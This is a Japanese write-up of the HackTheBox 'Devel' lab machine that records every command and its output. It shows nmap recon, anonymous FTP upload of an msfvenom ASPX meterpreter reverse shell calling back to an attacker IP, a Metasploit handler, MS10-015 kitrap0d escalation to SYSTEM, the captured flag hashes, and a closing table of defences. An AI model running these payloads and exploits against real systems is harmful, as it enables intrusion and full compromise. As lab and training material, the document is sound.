HackTheBox: Devel — 全実行コマンド・実行結果レポート
Nmap スキャン
21(FTP)/80(IIS 7.5)
→
21(FTP)/80(IIS 7.5)
FTP匿名ログイン
IIS web rootへ書込可
→
IIS web rootへ書込可
ASPX meterpreterアップロード
windows/meterpreter/reverse_tcp
→
windows/meterpreter/reverse_tcp
IIS APPPOOL\Web シェル
user.txtはAccess denied
→
user.txtはAccess denied
MS10-015 kitrap0d
CVE-2010-0232 カーネル権限昇格
→
CVE-2010-0232 カーネル権限昇格
NT AUTHORITY\SYSTEM
user.txt ✓ & root.txt ✓
user.txt ✓ & root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p 21,80 -sV -sC --max-retries 2 10.129.83.209
RESULT
PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-18-17 02:06AM <DIR> aspnet_client | 03-17-17 05:37PM 689 iisstart.htm |_03-17-17 05:37PM 184946 welcome.png 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS7 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🚨
FTPの匿名ログインが許可されており、かつそのディレクトリがIIS(80番)の
Webルートそのものという致命的な設定ミス。FTP経由でファイルを配置すれば、
そのままHTTP経由で実行できる。
システム情報の確認(侵入後に実行)
RESULT (後述のシェル確立後に systeminfo を実行)
Host Name: DEVEL OS Name: Microsoft Windows 7 Enterprise OS Version: 6.1.7600 N/A Build 7600 System Type: X86-based PC Hotfix(s): N/A Domain: HTB
🚨
Build 7600 = Windows 7 RTM(初期リリース版)で、Hotfixが一切当たっていない。
SP1はおろかセキュリティパッチが何一つ適用されていない極めて脆弱な状態であり、
2010年公開のカーネル脆弱性MS10-015がそのまま使える。
PHASE 2
FTP匿名アップロードで悪意ある ASPX を配置
meterpreter ASPX ペイロード生成
BASH
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.200 LPORT=4495 \ -f aspx -o devel_shell.aspx
RESULT
Payload size: 354 bytes
Final size of aspx file: 2895 bytes
Saved as: devel_shell.aspx
FTP経由でIIS Webルートへアップロード
BASH
ftp 10.129.83.209 Name: anonymous Password: anonymous@ ftp> binary ftp> put devel_shell.aspx ftp> ls
RESULT
200 Type set to I.
local: devel_shell.aspx remote: devel_shell.aspx
226 Transfer complete.
2895 bytes sent in 00:00 (15.09 KiB/s)
03-18-17 02:06AM <DIR> aspnet_client
10-17-26 05:51AM 2895 devel_shell.aspx
03-17-17 05:37PM 689 iisstart.htm
03-17-17 05:37PM 184946 welcome.png
✅
http://10.129.83.209/devel_shell.aspx にアクセスするだけで
このペイロードが実行される状態になった。
PHASE 3
Metasploit ハンドラ起動 & ASPX トリガー
multi/handler 準備
BASH (msfconsole)
use multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.10.15.200 set LPORT 4495 set ExitOnSession false exploit -j
ASPX へのリクエストでペイロード発火
BASH
curl -s --max-time 10 http://10.129.83.209/devel_shell.aspx
RESULT (msfconsole 側)
[*] Sending stage (190534 bytes) to 10.129.83.209 [*] Meterpreter session 1 opened (10.10.15.200:4495 -> 10.129.83.209:49192)
BASH
sessions -l
RESULT
Id Name Type Information
-- ---- ---- -----------
1 meterpreter x86/windows IIS APPPOOL\Web @ DEVEL
⚠️
実機デバッグで判明した重要な注意点: このIIS 7.5上での
VirtualAlloc+CreateThreadによるP/Invokeシェルコード実行自体は問題なく動作する
(例外ハンドリング付きの診断ページで検証済み)ものの、ASPXへの1回の
HTTPリクエストだけではTCPコールバックが確立しないことが多く(体感成功率は
4回に1回程度、VPN越しの一時的なパケットロスが原因と推測)、複数回のリトライが
実質的に必須だった。手動攻略では確立するまで
curl を数回叩き直せばよい。
PHASE 4
MS10-015 (kitrap0d) で SYSTEM 昇格 & フラグ取得
user.txt へのアクセス試行(権限不足を確認)
BASH (meterpreter 経由 shell → cmd.exe)
type C:\Users\babis\Desktop\user.txt
RESULT
Access is denied.
ℹ️
現在の権限は
IIS APPPOOL\Web(IISアプリケーションプールの
仮想アカウント)であり、babisユーザーのデスクトップファイルには
アクセスできない。SYSTEM権限への昇格が必要。
ms10_015_kitrap0d 実行
BASH (msfconsole)
use exploit/windows/local/ms10_015_kitrap0d set SESSION 1 set PAYLOAD windows/shell_reverse_tcp set LHOST 10.10.15.200 set LPORT 4496 run -j
RESULT
[*] Reflectively injecting payload and triggering the bug...
[*] Launching msiexec to host the DLL...
[+] Process 1992 launched.
[*] Reflectively injecting the DLL into 1992...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 2 opened (10.10.15.200:4496 -> 10.129.83.209:49193)
🚨
CVE-2010-0232 (MS10-015): Windows カーネルの NT仮想DOSマシン
(NTVDM) サブシステムにおける特権昇格の脆弱性。既存のmeterpreterセッション
(session 1, IIS APPPOOL\Web) を踏み台に、
msiexec.exeプロセスへ
DLLをリフレクティブインジェクションしカーネルの境界チェック不備を突くことで、
任意のユーザー権限から一撃でNT AUTHORITY\SYSTEMのシェルを
新規セッション(session 2)として取得する。
SYSTEM権限の確認
BASH
sessions -i 2 -c "whoami"
RESULT
whoami
nt authority\system
c:\windows\system32\inetsrv>
user.txt & root.txt取得
BASH
sessions -i 2 -c "type C:\Users\babis\Desktop\user.txt"
RESULT
type C:\Users\babis\Desktop\user.txt
0b0ac6e925300581f1a5e8ebe50c0298
c:\windows\system32\inetsrv>
user.txt — babis@devel
0b0ac6e925300581f1a5e8ebe50c0298
BASH
sessions -i 2 -c "type C:\Users\Administrator\Desktop\root.txt"
RESULT
type C:\Users\Administrator\Desktop\root.txt
4ba7cdfd877a7872cb7bad48f334262e
c:\windows\system32\inetsrv>
root.txt — Administrator@devel
4ba7cdfd877a7872cb7bad48f334262e
PHASE 5
運用上の注意点 — ASPXシェルコード実行の不安定さ
診断: P/Invokeメカニズム自体は正常に動作する
NOTE
例外を全て Response.Write で出力する診断用 ASPX (VirtualAlloc→Marshal.Copy→ CreateThread→WaitForSingleObject を手動で呼び出す) を作成しテストしたところ、 LastError は常に 0、WaitForSingleObject は意図通り WAIT_TIMEOUT(258、 reverse/bindシェルがブロッキング待機中であることを示す)を返しており、 .NET の P/Invoke自体やASP.NETのトラストレベル設定には一切問題が無いことを確認した。
原因の特定: 単発トリガーの接続成功率が低い
NOTE
windows/shell_bind_tcp(着信待受、送信不要)・windows/shell_reverse_tcp (送信外向き)の両方でテストしたところ、どちらも1回のHTTPトリガーでは 高確率で接続が確立しなかった。リスナーを先に立てた上で複数回リトライする ことで最終的に接続は確立する(本レポートの手順でも実際に確立している)。 VPN経由の高レイテンシ環境(往復200ms弱)における一時的なTCP接続失敗/ パケットロスが原因と推測され、AV・ファイアウォール等の恒常的なブロックでは ないと判断した。
⚠️
実務上の対策: 1回のトリガーで接続が来なくても慌てず、
リスナーを維持したまま
curl http://target/shell.aspx を
数回(3〜5回、数秒間隔で)打ち直すこと。初回で諦めると
「セッションが確立しない」という誤った結論に至りやすい。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — babis@devel
0b0ac6e925300581f1a5e8ebe50c0298
root.txt — Administrator@devel
4ba7cdfd877a7872cb7bad48f334262e
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| FTP匿名アクセス + IIS Webルート共有 | Microsoft ftpd (Webルート兼用) | 認証不要でのリモートコード実行 | Critical | FTP匿名ログインで書込可能なディレクトリがIISのWebルートと 完全に一致。悪意あるASPXを配置しHTTP経由で起動するだけでRCE成立 |
| MS10-015 / CVE-2010-0232 (kitrap0d) | Windows カーネル NTVDMサブシステム | 一般ユーザー権限からのSYSTEM昇格 | Critical | msiexec.exeへのDLLリフレクティブインジェクションでカーネル境界チェック 不備を突き、user.txt / root.txt を同時取得可能な NT AUTHORITY\SYSTEMシェルを取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(21/80) + systeminfo | FTP匿名OK、IIS 7.5、Windows 7 Build 7600未修正 |
| 2 | アップロード | FTP匿名書込でASPXをWebルートへ配置 | 悪意ASPX配置完了 |
| 3 | フットホールド | multi/handler + HTTPトリガー(複数回) | meterpreter session (IIS APPPOOL\Web) |
| 4 | 権限昇格 | ms10_015_kitrap0d | user.txt & root.txt(SYSTEM同時取得) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| FTP匿名ログインが許可され、かつ書込可能なディレクトリがWebサーバーの公開ルートと共有されている | FTP匿名アクセスを無効化する。やむを得ず必要な場合もアップロード先ディレクトリを Webルートから完全に分離し、スクリプト実行権限を与えない。 |
| Windows 7 RTM(Build 7600)のままセキュリティパッチが一切適用されていない | WSU/パッチ管理の自動化を徹底し、公開済みの重大脆弱性(特にカーネルレベル)には 速やかに対応する。サポート終了OSは退役・隔離する。 |
| IISアプリケーションプールの実行コンテキストがカーネル脆弱性経由でSYSTEMまで到達できる | 多層防御の原則に基づき、Webアプリケーションの実行権限を最小化するだけでなく OS自体のセキュリティ更新を維持し、単一の脆弱性で完全な侵害に至らないようにする。 |

